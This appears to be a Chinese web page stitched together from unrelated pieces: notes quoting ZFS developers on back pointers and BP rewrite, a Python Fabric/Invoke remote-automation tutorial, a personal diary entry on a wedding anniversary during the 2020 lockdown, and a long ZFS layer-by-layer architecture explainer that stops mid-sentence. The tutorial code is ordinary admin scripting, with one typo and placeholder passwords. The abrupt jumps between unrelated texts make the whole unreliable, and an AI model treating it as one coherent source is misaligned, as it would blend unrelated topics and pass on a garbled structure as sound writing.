FreeBSD 的發起人之一,FreeBSD 的 FFS 維護者, Kirk McKusick 曾經在 OpenZFS developer summit 2015 這麼說過:
I decided I'd add a wish list since I have a whole bunch of people here that could actually possibly consider doing this. Both competitors of ZFS, which are basically WAFL and BTRFS, kind of maintained back pointers. And back pointers allow a lot of things like disk migration, you can go through and tune up file layout, if you're working with direct-mapped flash it allows you to do that effectively. This has been a long -- and I understand big debate with the ZFS people and I'm not going to try and talk about that -- but there's a very nice paper that I've cited here, "Tracking Back References in a Write Anywhere File System", that is it integrates keeping track of the back pointers in a way that would work very well with ZFS. And so the cost is low, the cost of actually using it is a little higher, but it's not unreasonable. So there's the reference to that paper and if any of you are contemplating that you should read the paper because if nothing else it's a great paper.
Kirk McKusick 呼籲 ZFS 開發者們考慮在 ZFS 中實現類似 backref 的基礎設施,從而可能在未來獲得更多有用的特性。
和 ZFS 實現 backref 相關的一點是目前 ZFS 的塊指針的組織結構。對此 ZFS 的 ZPL 層原作者之一的 Mark Shellenbaum 在 OpenZFS developer summit 2016 也曾說過這樣的話:
(Q: Are there any things that we that we have regretted we did?) A: I guess not so much on the ZPL, but with the way block pointers maybe weren't fully virtualized, you know that things like that.
以及 ZFS 的最初的作者 Jeff 在 OpenZFS developer summit 2015 也曾說過:
... and then certainly one thing i'd always wish we had done but there really were always implementation difficulties was true virtual block addressing. Because it would made dedup simpler, or would have made you know compression of data, defragging, all that kind of stuff simpler. That would have been really nice to have. But we never did the way that was sort of tracable in terms of both the cost and the transactional semantics.
ZFS 這些開發者元老們都希望 ZFS 能有某種類似 backref 的機制,或者讓塊指針記錄的地址更抽象的機制。
關於這一點,ZFS 最重要的作者 Matt 如何看的呢? Matt 近期似乎沒有發表過看法,但是熟悉 ZFS 的人可能聽到過 Matt 一直在計劃的另一項 ZFS 特性中看出些端倪,叫 BP rewrite ,或者 BP virtualization 。從 Matt 還在 Sun 的時候開始,就試圖在 ZFS 中實現 BP rewrite 特性,提供某種系統性的基礎設施,能夠快速地找到並改寫大量數據塊指針。 在網上搜索很多 ZFS 功能的實現細節,最終都會帶到關於 BP rewrite 的討論(甚至可以說論戰)中。 Matt 最近給 OpenZFS 實現的兩項功能, toplevel vdev removal 和 raidz expansion 如果有 BP rewrite 將會容易很多,而他們目前是在沒有 BP rewrite 的前提下,通過一連串額外抽象實現的。
從 BP rewrite 這個兔子洞中,還能引出更多 btrfs 和 ZFS 關於設備管理的差異,這個有待今後再談。
pip intall fabric
,安装后,可在命令行窗口查看版本信息:>>> fab -V
Fabric 2.5.0
Paramiko 2.7.1
Invoke 1.4.0
# 可使用任意的文件名
from fabric import Connection
host_ip = '47.xx.xx.xx' # 服务器地址
user_name = 'root' # 服务器用户名
password = '****' # 服务器密码
cmd = 'date' # shell 命令,查询服务器上的时间
con = Connection(host_ip, user_name, connect_kwargs={'password': password})
result = con.run(cmd, hide=True)
print(result)
date
命令,查看服务器的时间,执行结果:Command exited with status 0.
=== stdout ===
Fri Feb 14 15:33:05 CST 2020
(no stderr)
print(result.stdout) # Fri Feb 14 15:33:05 CST 2020
print(result.exited) # 0
print(result.ok) # True
print(result.failed) # False
print(result.command) # date
print(result.connection.host) # 47.xx.xx.xx
fab
命令来执行任务。我们稍微改造一下上例的代码:# 文件名:fabfile.py
from fabric import Connection
from fabric import task
host_ip = '47.xx.xx.xx' # 服务器地址
user_name = 'root' # 服务器用户名
password = '****' # 服务器密码
cmd = 'date' # shell 命令,查询服务器上的时间
@task
def test(c):
"""
Get date from remote host.
"""
con = Connection(host_ip, user_name, connect_kwargs={'password': password})
result = con.run(cmd, hide=True)
print(result.stdout) # 只打印时间
>>> fab -l
Available tasks:
test Get date from remote host.
>>> fab test
Fri Feb 14 16:10:24 CST 2020
from invoke import Responder
from fabric import Connection
c = Connection('host')
sudopass = Responder(
pattern=r'\[sudo\] password:',
response='mypassword\n')
c.run('sudo whoami', pty=True, watchers=[sudopass])
# (略)
con.get('/opt/123.txt', '123.txt')
con.put('test.txt', '/opt/test.txt')
# (略)
con.get('/opt/123.txt', '') # 为空时,使用默认路径
con.put('test.txt', '/opt/') # 指定路径 /opt/
os.getcwd
,而 put() 方法的默认存储路径是 home 目录。for host in ('web1', 'web2', 'mac1'):
result = Connection(host).run('uname -s')
fabric.group.GroupResult
类,它是 dict 的子类,存储了每个主机 connection 及其执行结果的对应关系。>>> from fabric import SerialGroup
>>> results = SerialGroup('web1', 'web2', 'mac1').run('uname -s')
>>> print(results)
<GroupResult: {
<Connection 'web1'>: <CommandResult 'uname -s'>,
<Connection 'web2'>: <CommandResult 'uname -s'>,
<Connection 'mac1'>: <CommandResult 'uname -s'>,
}>
IdentityFile
的值# filename:.fabric.yml
user: root
connect_kwargs:
password: xxxx
# 若用密钥,则如下
# key_filename:
# - your_key_file
# 文件名:fabfile.py
from fabric import Connection
from fabric import task
host_ip = '47.xx.xx.xx' # 服务器地址
cmd = 'date' # shell 命令,查询服务器上的时间
@task
def test(c):
"""
Get date from remote host.
"""
con = Connection(host_ip)
result = con.run(cmd, hide=True)
print(result.stdout)
>>> fab test
Tue Feb 18 10:33:38 CST 2020
direct-tcpip
为前者打开与实际远程主机的连接,而且后者还可以继续嵌套使用自己的网关。from fabric import Connection
c = Connection('internalhost', gateway=Connection('gatewayhost'))
paramiko.channel.Channel
和 paramiko.proxy.ProxyCommand
,除了在参数中指定,也可以在 Fabric 支持的配置文件中定义。更多细节,请查阅文档 [5]。pip install invoke
。c
或ctx
或context
。invoke --list
来查看所有任务,运行invoke xxx
来执行名为 xxx 的任务。命令行中的“invoke”可以简写成“inv”。# 文件名:tasks.py
from invoke import task
@task
def hello(c):
print("Hello world!")
@task
def greet(c, name):
c.run(f"echo {name}加油!")
from invoke import task
,@task 装饰器可以不带参数,也可以带参数(参见下一节),被它装饰了的函数就是一个任务。inv --list
或者inv -l
,可以看到所有任务的列表(按字母表顺序排序):>>> inv -l
Available tasks:
greet
hello
>>> inv hello
Hello world!
>>> inv greet 武汉
武汉加油!
>>> inv greet --name="武汉"
武汉加油!
@task(help={'name': 'A param for test'})
def greet(c, name):
"""
A test for shell command.
Second line.
"""
c.run(f"echo {name}加油!")
>>> inv -l
Available tasks:
greet A test for shell command.
>>> inv --help greet
Usage: inv[oke] [--core-opts] greet [--options] [other tasks here ...]
Docstring:
A test for shell command.
Second line.
Options:
-n STRING, --name=STRING A param for test
@task
def clean(c):
c.run("echo clean")
@task
def message(c):
c.run("echo message")
@task(pre=[clean], post=[message])
def build(c):
c.run("echo build")
>>> inv clean
clean
>>> inv message
message
>>> inv build
clean
build
message
@task(clean, message)
def test(c):
c.run("echo test")
>>> inv test
clean
message
test
# 文件名:tasks.py
from invoke import Collection, task
import task1
@task
def deploy(c):
c.run("echo deploy")
namespace = Collection(task1, deploy)
>>> inv -l
Available tasks:
deploy
task1.greet
task1.hello
>>> inv deploy
deploy
>>> inv task1.hello
Hello world!
>>> inv task1.greet 武汉
武汉加油!
stdout
和stderr
,并支持在stdin
中输入必要的信息。responses = {r"Are you ready? \[y/n\] ": "y\n"}
ctx.run("excitable-program", responses=responses)
argparse
、Flask 作者开源的click
与谷歌开源的fire
等等,而 invoke 也可以作为命令行工具库使用。pip install tester
安装,而此工具提供两个执行命令:tester unit
和tester intergration
。# tasks.py
from invoke import task
@task
def unit(c):
print("Running unit tests!")
@task
def integration(c):
print("Running integration tests!")
# main.py
from invoke import Collection, Program
from tester import tasks
program = Program(namespace=Collection.from_module(tasks), version='0.1.0')
# setup.py
setup(
name='tester',
version='0.1.0',
packages=['tester'],
install_requires=['invoke'],
entry_points={
'console_scripts': ['tester = tester.main:program.run']
}
)
$ tester --version
Tester 0.1.0
$ tester --help
Usage: tester [--core-opts] <subcommand> [--subcommand-opts] ...
Core options:
... core options here, minus task-related ones ...
Subcommands:
unit
integration
$ tester --list
No idea what '--list' is!
$ tester unit
Running unit tests!
没了烟花爆竹驱逐,年兽袭来。冠状病毒肆虐,这是一个不寻常的开年。冷冷清清凄凄惨惨戚戚大概是这个正月最真实的写照了,所有人都窝在家里,各种无聊的自嗨在小视频里传播,大概,没染上病毒染上了精神病了吧。百无聊赖的过了初九,原本是延期开工的日子,被再次延后了,浑浑噩噩的在一出封城公告后,顿时脚踩风火轮赶在封城前逃离了这个0确诊病例的浙北小县,一路狂奔2小时赶到魔都,终于心安归处。
又到正月十一,一个于我特别的日子。今年我和爱人结婚六周年了。本可以来点特别的纪念,奈何出门都得带上口罩,没有大餐,没有礼物,好歹去年还定了份小礼物,今年被这病毒折腾的啥也没有,临了只好一份KFC就把今天打发了,实在抱歉。而那些曾经磕绊的日子在过去一年中少了许许多多。或许她终究是迁就我了。工作越来越忙,顾家越来越少,甚及半夜归家,客厅的灯始终为我照亮。早上出门女儿没醒,晚上归家女儿已然睡着,一天没说上话的小棉袄全是她一手照料。很感激这一年中的她,那个跳蚤脾气,火药个性的她;那个嘴上刀子,心里豆腐的她。
过了今天,就进入第七个年头了,都说七年之痒,所有的爱情过了七年质保期,如果没散,都变成亲情了。有了孩子,这个亲情的纽带更牢固了。《幸福婚姻法则》里说即使是最美好的婚姻,一生中也会有200次离婚的念头,50次掐死对方的冲动。到了如今,我们很容易察觉对方的些许情绪波动,对对方个性格的爆点再熟悉不过了,很多时候,临界时刻刹车已经成了常态,或许这就是我们最美好的婚姻吧。
今年我俩虚岁都是三十六了,按老家的习俗,三十六是步入中年的一个寿诞。我俩同龄,岳父在年底就买好了白鸡,岳母出资买了白衬衣。大年初一穿着白衬衣,吃的白鸡,把这一岁白过了。
生日能白过,日子不能白过,2020年一个新的年代已经开始,还有好多任务需要去做,我们一起再出发。写在结婚六周年纪念日。
ZFS 在設計之初源自於 Sun 內部多次重寫 UFS 的嘗試,背負了重構 Solaris 諸多內核子系統的重任,從而不同於 Linux 的文件系統只負責文件系統的功能而把其餘功能(比如內存髒頁管理, IO調度)交給內核更底層的子系統, ZFS 的整體設計更層次化並更獨立,很多部分可能和 Linux/FreeBSD 內核已有的子系統有功能重疊。
似乎很多關於 ZFS 的視頻演講和幻燈片有講到子系統架構,但是找了半天也沒找到網上關於這個的說明文檔。 於是寫下這篇筆記試圖從 ZFS 的早期開發歷程開始,記錄一下 ZFS 分層架構中各個子系統之間的分工。 也有幾段 OpenZFS Summit 視頻佐以記錄那段歷史。
早期 ZFS 在開發時大體可以分爲上下三層,分別是 ZPL, DMU 和 SPA ,這三層分別由三組人負責。
最初在 Sun 內部帶領 ZFS 開發的是 Jeff Bonwick ,他首先有了對 ZFS 整體架構的構思,然後遊說 Sun 高層,親自組建起了 ZFS 開發團隊,招募了當時剛從大學畢業的 Matt Ahrens 。作爲和 Sun 高層談妥的條件, Jeff 也必須負責 Solaris 整體的 Storage & Filesystem Team ,於是他又從 Solaris 的 Storage Team 抽調了 UFS 部分的負責人 Mark Shellenbaum 和 Mark Maybee 來開發 ZFS 。而如今昔日昇陽已然日落, Jeff 成立了獨立公司繼續開拓服務器存儲領域, Matt 是 OpenZFS 項目的負責人,兩位 Mark 則留在了 Sun/Oracle 成爲了 Oracle ZFS 分支的維護者。
在開發早期,作爲分工, Jeff 負責 ZFS 設計中最底層的 SPA ,提供多個存儲設備組成的存儲池抽象; Matt 負責 ZFS 設計中最至關重要的 DMU 引擎,在塊設備基礎上提供具有事務語義的對象存儲; 而兩位 Mark 負責 ZFS 設計中直接面向用戶的 ZPL ,在 DMU 基礎上提供完整 POSIX 文件系統語義。 ZFS 設計中這最初的分工也體現在了 ZFS 現在子系統分層的架構上,繼續影響(增強或者限制) ZFS 今後發展的方向。
Storage Pool Allocator
從內核提供的多個塊設備中抽象出存儲池的子系統。 SPA 進一步分爲 ZIO 和 VDEV 兩大部分和其餘一些小的子系統。
SPA 對 DMU 提供的接口不同於傳統的塊設備接口,完全利用了 CoW 文件系統對寫入位置不敏感的特點。 傳統的塊設備接口通常是寫入時指定一個寫入地址,把緩衝區寫到磁盤指定的位置上,而 DMU 可以讓 SPA 做兩種操作:
write
, DMU 交給 SPA 一個數據塊的內存指針, SPA
負責找設備寫入這個數據塊,然後返回給 DMU 一個 block pointer 。
read
,DMU 交給 SPA 一個 block pointer ,SPA 讀取設備並返回給 DMU
完整的數據塊。也就是說,在 DMU 讓 SPA 寫數據塊時, DMU 還不知道 SPA 會寫入的地方,這完全由 SPA 判斷, 這一點通常被稱爲 Write Anywhere ,在別的 CoW 文件系統比如 Btrfs 和 WAFL 中也有這個特點。 反過來 SPA 想要對一個數據塊操作時,也完全不清楚這個數據塊用於什麼目的,屬於什麼文件或者文件系統結構。
Virtual DEVice
VDEV 在 ZFS 中的作用相當於 Linux 內核的 Device Mapper 層或者 FreeBSD GEOM 層,提供 Stripe/Mirror/RAIDZ 之類的多設備存儲池管理和抽象。 ZFS 中的 vdev 形成一個樹狀結構,在樹的底層是從內核提供的物理設備, 其上是虛擬的塊設備。每個虛擬塊設備對上對下都是塊設備接口,除了底層的物理設備之外,位於中間層的 vdev 需要負責地址映射、容量轉換等計算過程。
除了用於存儲數據的 Stripe/Mirror/RAIDZ 之類的 VDEV ,還有一些特殊用途的 VDEV ,包括提供二級緩存的 L2ARC 設備,以及提供 ZIL 高速日誌的 SLOG 設備。
ZFS I/O
作用相當於內核的 IO scheduler 和 pagecache write back 機制。 OpenZFS Summit 有个演讲整理了 ZIO 流水线的工作原理。 ZIO 內部使用流水線和事件驅動機制,避免讓上層的 ZFS 線程阻塞等待在 IO 操作上。 ZIO 把一個上層的寫請求轉換成多個寫操作,負責把這些寫操作合併到 transaction group 提交事務組。 ZIO 也負責將讀寫請求按同步還是異步分成不同的讀寫優先級並實施優先級調度, 在 OpenZFS 項目 wiki 頁有一篇描述 ZIO 調度 的細節。
除了調度之外, ZIO 層還負責在讀寫流水線中拆解和拼裝數據塊。上層 DMU 交給 SPA 的數據塊有固定大小, 目前默認是 128KiB ,pool 整體的參數可以調整塊大小在 4KiB 到 8MiB 之間。ZIO 拿到整塊大小的數據塊之後,在流水線中可以對數據塊做諸如以下操作:
可見經過 ZIO 流水線之後,數據塊不再是統一大小,這使得 ZFS 用在 4K 對齊的磁盤或者 SSD 上有了一些新的挑戰。
MetaSlab 是 ZFS 的塊分配器。 VDEV 把存儲設備抽象成存儲池之後, MetaSlab 負責實際從存儲設備上分配數據塊,跟蹤記錄可用空間和已用空間。
叫 MetaSlab 這個名字是因爲 Jeff 最初同時也給 Solaris 內核寫過 slab 分配器 ,一開始設計 SPA 的時候 Jeff 想在 SPA 中也利用 Solaris 的 slab 分配器對磁盤空間使用類似的分配算法。後來 MetaSlab 逐漸不再使用 slab 算法,只有名字留了下來。
MetaSlab 的結構很接近於 FreeBSD UFS 的 cylinder group ,或者 ext2/3/4 的 block group ,或者 xfs 的 allocation group ,目的都是讓存儲分配策略「局域化」, 或者說讓近期分配的數據塊的物理地址比較接近。在存儲設備上創建 zpool 的時候,首先會儘量在存儲設備上分配 200 個左右的 MetaSlab ,隨後給 zpool 增加設備的話使用接近的 MetaSlab 大小。每個 MetaSlab 是連續的一整塊空間,在 MetaSlab 內對數據塊空間做分配和釋放。磁盤中存儲的 MetaSlab 的分配情況是按需載入內存的,系統 import zpool 時不需要載入所有 MetaSlab 到內存,而只需加載一小部分。當前載入內存的 MetaSlab 剩餘空間告急時,會載入別的 MetaSlab 嘗試分配,而從某個 MetaSlab 釋放空間不需要載入 MetaSlab 。
OpenZFS Summit 也有一個對 MetaSlab 分配器性能的介紹,可以看到很多分配器內的細節。
Adaptive Replacement Cache
ARC 的作用相當於 Linux/Solaris/FreeBSD 中傳統的 page/buffer cache 。 和傳統 pagecache 使用 LRU (Least Recently Used) 之類的算法剔除緩存頁不同, ARC 算法試圖在 LRU 和 LFU(Least Frequently Used) 之間尋找平衡,從而複製大文件之類的線性大量 IO 操作不至於讓緩存失效率猛增。最近 FOSDEM 2019 有一個介紹 ZFS ARC 工作原理的視頻。
不過 ZFS 採用它自有的 ARC 一個顯著缺點在於,不能和內核已有的 pagecache 機制相互配合,尤其在 系統內存壓力很大的情況下,內核與 ZFS 無關的其餘部分可能難以通知 ARC 釋放內存。所以 ARC 是 ZFS 消耗內存的大戶之一(另一個是可選的 dedup table),也是 ZFS 性能調優 的重中之重。
當然, ZFS 採用 ARC 不依賴於內核已有的 pagecache 機制除了 LFU 平衡的好處之外,也有別的有利的一面。 系統中多次讀取因 snapshot 或者 dedup 而共享的數據塊的話,在 ZFS 的 ARC 機制下,同樣的 block pointer 只會被緩存一次;而傳統的 pagecache 因爲基於 inode 判斷是否有共享, 所以即使這些文件有共享頁面(比如 btrfs/xfs 的 reflink 形成的),也會多次讀入內存。 Linux 的 btrfs 和 xfs 在 VFS 層面有共用的 reflink 機制之後,正在努力着手改善這種局面,而 ZFS 因爲 ARC 所以從最初就避免了這種浪費。
和很多傳言所說的不同, ARC 的內存壓力問題不僅在 Linux 內核會有,在 FreeBSD 和 Solaris/Illumos 上也是同樣,這個在 ZFS First Mount by Mark Shellenbaum 的問答環節 16:37 左右有提到 。其中 Mark Shellenbaum 提到 Matt 覺得讓 ARC 併入現有 pagecache 子系統的工作量太大,難以實現。
因爲 ARC 工作在 ZIO 上層,所以 ARC 中緩存的數據是經過 ZIO 從存儲設備中讀取出來之後解壓、解密等處理之後的,原始的數據。最近 ZFS 的版本有支持一種新特性叫 Compressed ARC ,打破 ARC 和 VDEV 中間 ZIO 的壁壘,把壓縮的數據直接緩存在 ARC 中。這麼做是因爲壓縮解壓很快的情況下,壓縮的 ARC 能節省不少內存,讓更多數據保留在 ARC 中從而提升緩存利用率,並且在有 L2ARC 的情況下也能增加 L2ARC 能存儲的緩存。
Level 2 Adaptive Replacement Cache
這是用 ARC 算法實現的二級緩存,保存於高速存儲設備上。常見用法是給 ZFS pool 配置一塊 SSD 作爲 L2ARC 高速緩存,減輕內存 ARC 的負擔並增加緩存命中率。
Separate intent LOG
SLOG 是額外的日誌記錄設備。 SLOG 之於 ZIL 有點像 L2ARC 之餘 ARC , L2ARC 是把內存中的 ARC 放入額外的高速存儲設備,而 SLOG 是把原本和別的數據塊存儲在一起的 ZIL 放到額外的高速存儲設備。
Transactional Object Layer
這一部分子系統在數據塊的基礎上提供一個事務性的對象語義層,這裏事務性是指, 對對象的修改處於明確的狀態,不會因爲突然斷電之類的原因導致狀態不一致。TOL 中最主要的部分是 DMU 層。
Data Management Unit
在塊的基礎上提供「對象(object)」的抽象。每個「對象」可以是一個文件,或者是別的 ZFS 內部需要記錄的東西。
DMU 這個名字最初是 Jeff 想類比於操作系統中內存管理的 MMU(Memory Management Unit), Jeff 希望 ZFS 中增加和刪除文件就像內存分配一樣簡單,增加和移除塊設備就像增加內存一樣簡單, 由 DMU 負責從存儲池中分配和釋放數據塊,對上提供事務性語義,管理員不需要管理文件存儲在什麼存儲設備上。 這裏事務性語義指對文件的修改要麼完全成功,要麼完全失敗,不會處於中間狀態,這靠 DMU 的 CoW 語義實現。
DMU 實現了對象級別的 CoW 語義,從而任何經過了 DMU 做讀寫的子系統都具有了 CoW 的特徵, 這不僅包括文件、文件夾這些 ZPL 層需要的東西,也包括文件系統內部用的 spacemap 之類的設施。 相反,不經過 DMU 的子系統則可能沒法保證事務語義。這裏一個特例是 ZIL ,一定程度上繞過了 DMU 直接寫日誌。說一定程度是因爲 ZIL 仍然靠 DMU 來擴展長度,當一個塊寫滿日誌之後需要等 DMU 分配一個新塊,在分配好的塊內寫日誌則不需要經過 DMU 。所有經過 DMU 子系統的對象都有 CoW 語義,也意味着 ZFS 中不能對某些文件可選地關閉 CoW ,不能提供數據庫應用的 direct IO 之類的接口。
「對象(object)」抽象是 DMU 最重要的抽象,一個對象的大小可變,佔用一個或者多個數據塊( 默認一個數據塊 128KiB )。上面提到 SPA 的時候也講了 DMU 和 SPA 之間不同於普通塊設備抽象的接口,這使得 DMU 按整塊的大小分配空間。當對象使用多個數據塊存儲時, DMU 提供間接塊(indirect block)來引用這些數據塊。 間接塊很像傳統 Unix 文件系統(Solaris UFS 或者 Linux ext2)中的一級二級三級間接塊, 一個間接塊存儲很多塊指針(block pointer),多個間接塊形成樹狀結構,最終一個塊指針可以引用到一個對象。 更現代的文件系統比如 ext4/xfs/btrfs/ntfs 提供了 extent 抽象,可以指向一個連續範圍的存儲塊, 而 ZFS 不使用類似 extent 的抽象。DMU 採用間接塊而不是 extent ,使得 ZFS 的空間分配更趨向碎片化,爲了避免碎片化造成的性能影響,需要儘量延遲寫入使得一次寫入能在磁盤上 儘量連續,這裏 ARC 提供的緩存和 ZIO 提供的流水線對延遲寫入避免碎片有至關重要的幫助。
有了「對象(object)」的抽象之後, DMU 進一步實現了「對象集(objectset)」的抽象, 一個對象集中保存一系列按順序編號的 dnode ( ZFS 中類似 inode 的數據結構),每個 dnode 有足夠空間 指向一個對象的最多三個塊指針,如果對象需要更多數據塊可以使用間接塊,如果對象很小也可以直接壓縮進 dnode 。隨後 DSL 又進一步用對象集來實現數據集(dataset)抽象,提供比如文件系統(filesystem )、快照(snapshot)、克隆(clone)之類的抽象。一個對象集中的對象可以通過 dnode 編號相互引用, 就像普通文件系統的硬鏈接引用 inode 編號那樣。
上面也提到因爲 SPA 和 DMU 分離, SPA 完全不知道數據塊用於什麼目的;這一點其實對 DMU 也是類似, DMU 雖然能從某個對象找到它所佔用的數據塊,但是 DMU 完全不知道這個對象在文件系統或者存儲池中是 用來存儲什麼的。當 DMU 讀取數據遇到壞塊(block pointer 中的校驗和與 block pointer 指向的數據塊內容不一致)時,它知道這個數據塊在哪兒(具體哪個設備上的哪個地址), 但是不知道這個數據塊是否和別的對象共享,不知道搬動這個數據塊的影響,也沒法從對象反推出文件系統路徑, (除了明顯開銷很高地掃一遍整個存儲池)。所以 DMU 在遇到讀取錯誤(普通的讀操作或者 scrub/resilver 操作中)時,只能選擇在同樣的地址,原地寫入數據塊的備份(如果能找到或者推算出備份的話)。
或許有人會疑惑,既然從 SPA 無法根據數據地址反推出對象,在 DMU 也無法根據對象反推出文件,那麼 zfs 在遇到數據損壞時是如何在診斷信息中給出損壞的文件路徑的呢?這其實基於 ZPL 的一個黑魔法: 在 dnode 記錄父級 dnode 的編號 。因爲是個黑魔法,這個記錄不總是對的,所以只能用於診斷信息,不能基於這個實現別的文件系統功能。
ZFS Attribute Processor
在 DMU 提供的「對象」抽象基礎上提供緊湊的 name/value 映射存儲, 從而文件夾內容列表、文件擴展屬性之類的都是基於 ZAP 來存。 ZAP 在內部分爲兩種存儲表達: microZAP 和 fatZAP 。
一個 microZAP 佔用一整塊數據塊,能存 name 長度小於 50 字符並且 value 是 uint64_t 的表項,
每個表項 64 字節。 fatZAP 則是個樹狀結構,能存更多更複雜的東西。fatZAP 是個 on disk 的散利表,指針表中是 64bit 對 name 的 hash ,指向單鏈表的子節點列表,子節點中的 value 可以是任意類型的數據(不光是 uint64_t )。
可見 microZAP 非常適合表述一個普通大小的文件夾裏面包含到很多普通文件 inode (ZFS 是 dnode)的引用。
fatZAP 則不光可以用於任意大小的文件夾,還可以表達 ZFS 的配置屬性之類的東西,非常靈活。
在 ZFS First Mount by Mark Shellenbaum 的8:48左右
提到,最初 ZPL 中關於文件的所有屬性(包括訪問時間、權限、大小之類所有文件都有的)都是基於
ZAP 來存,也就是說每個文件都有個 ZAP ,其中有叫做 size 呀 owner
之類的鍵值對,就像是個 JSON 對象那樣,這讓 ZPL 一開始很容易設計原型並且擴展。然後文件夾內容列表有另一種數據結構
ZDS(ZFS Directory Service),後來常見的文件屬性在 ZPL 有了專用的緊湊數據結構,而 ZDS 則漸漸融入了 ZAP 。
這些變化詳見下面 ZPL 。
Dataset and Snapshot Layer
數據集和快照層,負責創建和管理快照、克隆等數據集類型,跟蹤它們的寫入大小,最終刪除它們。 由於 DMU 層面已經負責了對象的寫時複製語義和對象集的概念,所以 DSL 層面不需要直接接觸寫文件之類來自 ZPL 的請求,無論有沒有快照對 DMU 層面一樣採用寫時複製的方式修改文件數據。 不過在刪除快照和克隆之類的時候,則需要 DSL 參與計算沒有和別的數據集共享的數據塊並且刪除它們。
DSL 管理數據集時,也負責管理數據集上附加的屬性。ZFS 每個數據集有個屬性列表,這些用 ZAP 存儲, DSL 則需要根據數據集的上下級關係,計算出繼承的屬性,最終指導 ZIO 層面的讀寫行爲。
除了管理數據集, DSL 層面也提供了 zfs 中 send/receive 的能力。 ZFS 在 send 時從 DSL 層找到快照引用到的所有數據塊,把它們直接發往管道,在 receive 端則直接接收數據塊並重組數據塊指針。 因爲 DSL 提供的 send/receive 工作在 DMU 之上,所以在 DSL 看到的數據塊是 DMU 的數據塊,下層 SPA 完成的數據壓縮、加密、去重等工作,對 DMU 層完全透明。所以在最初的 send/receive 實現中,假如數據塊已經壓縮,需要在 send 端經過 SPA 解壓,再 receive 端則重新壓縮。最近 ZFS 的 send/receive 逐漸打破 DMU 與 SPA 的壁壘,支持了直接發送已壓縮或加密的數據塊的能力。
ZFS Intent Log
記錄兩次完整事務語義提交之間的日誌,用來加速實現 fsync 之類的文件事務語義。
原本 CoW 的文件系統不需要日誌結構來保證文件系統結構的一致性,在 DMU 保證了對象級別事務語義的前提下,每次完整的 transaction group commit 都保證了文件系統一致性,掛載時也直接找到最後一個 transaction group 從它開始掛載即可。 不過在 ZFS 中,做一次完整的 transaction group commit 是個比較耗時的操作, 在寫入文件的數據塊之後,還需要更新整個 object set ,然後更新 meta-object set ,最後更新 uberblock ,爲了滿足事務語義這些操作沒法並行完成,所以整個 pool 提交一次需要等待好幾次磁盤寫操作返回,短則一兩秒,長則幾分鐘, 如果事務中有要刪除快照等非常耗時的操作可能還要等更久,在此期間提交的事務沒法保證一致。
對上層應用程序而言,通常使用 fsync 或者 fdatasync 之類的系統調用,確保文件內容本身的事務一致性。 如果要讓每次 fsync/fdatasync 等待整個 transaction group commit 完成,那會嚴重拖慢很多應用程序,而如果它們不等待直接返回,則在突發斷電時沒有保證一致性。 從而 ZFS 有了 ZIL ,記錄兩次 transaction group 的 commit 之間發生的 fsync ,突然斷電後下次 import zpool 時首先找到最近一次 transaction group ,在它基礎上重放 ZIL 中記錄的寫請求和 fsync 請求,從而滿足 fsync API 要求的事務語義。
顯然對 ZIL 的寫操作需要繞過 DMU 直接寫入數據塊,所以 ZIL 本身是以日誌系統的方式組織的,每次寫 ZIL 都是在已經分配的 ZIL 塊的末尾添加數據,分配新的 ZIL 塊仍然需要經過 DMU 的空間分配。
傳統日誌型文件系統中對 data 開啓日誌支持會造成每次文件系統寫入操作需要寫兩次到設備上, 一次寫入日誌,再一次覆蓋文件系統內容;在 ZIL 實現中則不需要重複寫兩次, DMU 讓 SPA 寫入數據之後 ZIL 可以直接記錄新數據塊的 block pointer ,所以使用 ZIL 不會導致傳統日誌型文件系統中雙倍寫入放大的問題。
ZFS VOLume
有點像 loopback block device ,暴露一個塊設備的接口,其上可以創建別的 FS 。對 ZFS 而言實現 ZVOL 的意義在於它是比文件更簡單的接口,所以在實現完整 ZPL 之前,一開始就先實現了 ZVOL ,而且 早期 Solaris 沒有 thin provisioning storage pool 的時候可以用 ZVOL 模擬很大的塊設備,當時 Solaris 的 UFS 團隊用它來測試 UFS 對 TB 級存儲的支持情況 。
因爲 ZVOL 基於 DMU 上層,所以 DMU 所有的文件系統功能,比如 snapshot / dedup / compression 都可以用在 ZVOL 上,從而讓 ZVOL 上層的傳統文件系統也具有類似的功能。並且 ZVOL 也具有了 ARC 緩存的能力,和 dedup 結合之下,非常適合於在一個宿主機 ZFS 上提供對虛擬機文件系統鏡像的存儲,可以節省不少存儲空間和內存佔用開銷。
ZFS Posix Layer
提供符合 POSIX 文件系統語義的抽象,也就是包括文件、目錄、軟鏈接、套接字這些抽象以及 inode 訪問時間、權限那些抽象,ZPL 是 ZFS 中對一個普通 FS 而言用戶直接接觸的部分。 ZPL 可以說是 ZFS 最複雜的子系統,也是 ZFS 作爲一個文件系統而言最關鍵的部分。
ZPL 的實現中直接使用了 ZAP 和 DMU 提供的抽象,比如每個 ZPL 文件用一個 DMU 對象表達,每個 ZPL 目錄用一個 ZAP 對象表達,然後 DMU 對象集對應到 ZPL 下的一個文件系統。 也就是說 ZPL 負責把操作系統 VFS 抽象層的那些文件系統操作接口,翻譯映射到基於 DMU 和 ZAP 的抽象上。傳統 Unix 中的管道、套接字、軟鏈接之類的沒有什麼數據內容的東西則在 ZPL 直接用 dnode 實現出來。 ZPL 也需要進一步實現文件權限、所有者、訪問日期、擴展屬性之類雜七雜八的文件系統功能。
繼續上述 ZAP 格式變化的討論,在 ZPL 拋棄早期用 ZAP 的設計之後, ZPL 中 znode (ZPL 擴展的 dnode) 保存文件屬性的機制成爲了一個小的子系統,叫 ZFS System Attributes 。 SA 的設計照顧了舊版 ZPL znode 格式兼容問題,有新舊兩代格式。舊版 znode 格式是固定偏移位置存取屬性的 SA ,因此透過預先註冊好的描述舊版 znode 格式的固定映射表, SA 依然能用同樣的代碼路徑存取舊版的 znode 。而後來 靈活的新設計下的 SA 更有意思 ,ZFS 認識到,大部分 znode 的屬性都可以用有限的幾種屬性集來表达, 比如普通文件有一組類似的屬性(權限、所有者之類的), zvol 有另一組(明顯 zvol 不需要很多 ZPL 文件的屬性),整個 ZFS dataset 可以「註冊」幾種屬性佈局,然後讓每個 znode 引用其中一種佈局, 這樣 znode 保存的屬性仍然是可以任意變化的,又不需要在每個 znode 中都記錄所有屬性的名字。 SA 的出現提升了 ZPL 的可擴展性。 ZPL 爲了應付不同的操作系統之間文件系統 API 的差異,可以使用 SA 在 znode 之中加入針對不同操作系統和應用場景的屬性。例如,在支持 NFSv4 ACL 的操作系統上,ZFS 既可以用現有方式把 DACL ACEs 放在獨立於文件對象的單獨對象中,也可以把 DACL ACEs 放在 SA 內。
在 ZFS First Mount by Mark Shellenbaum
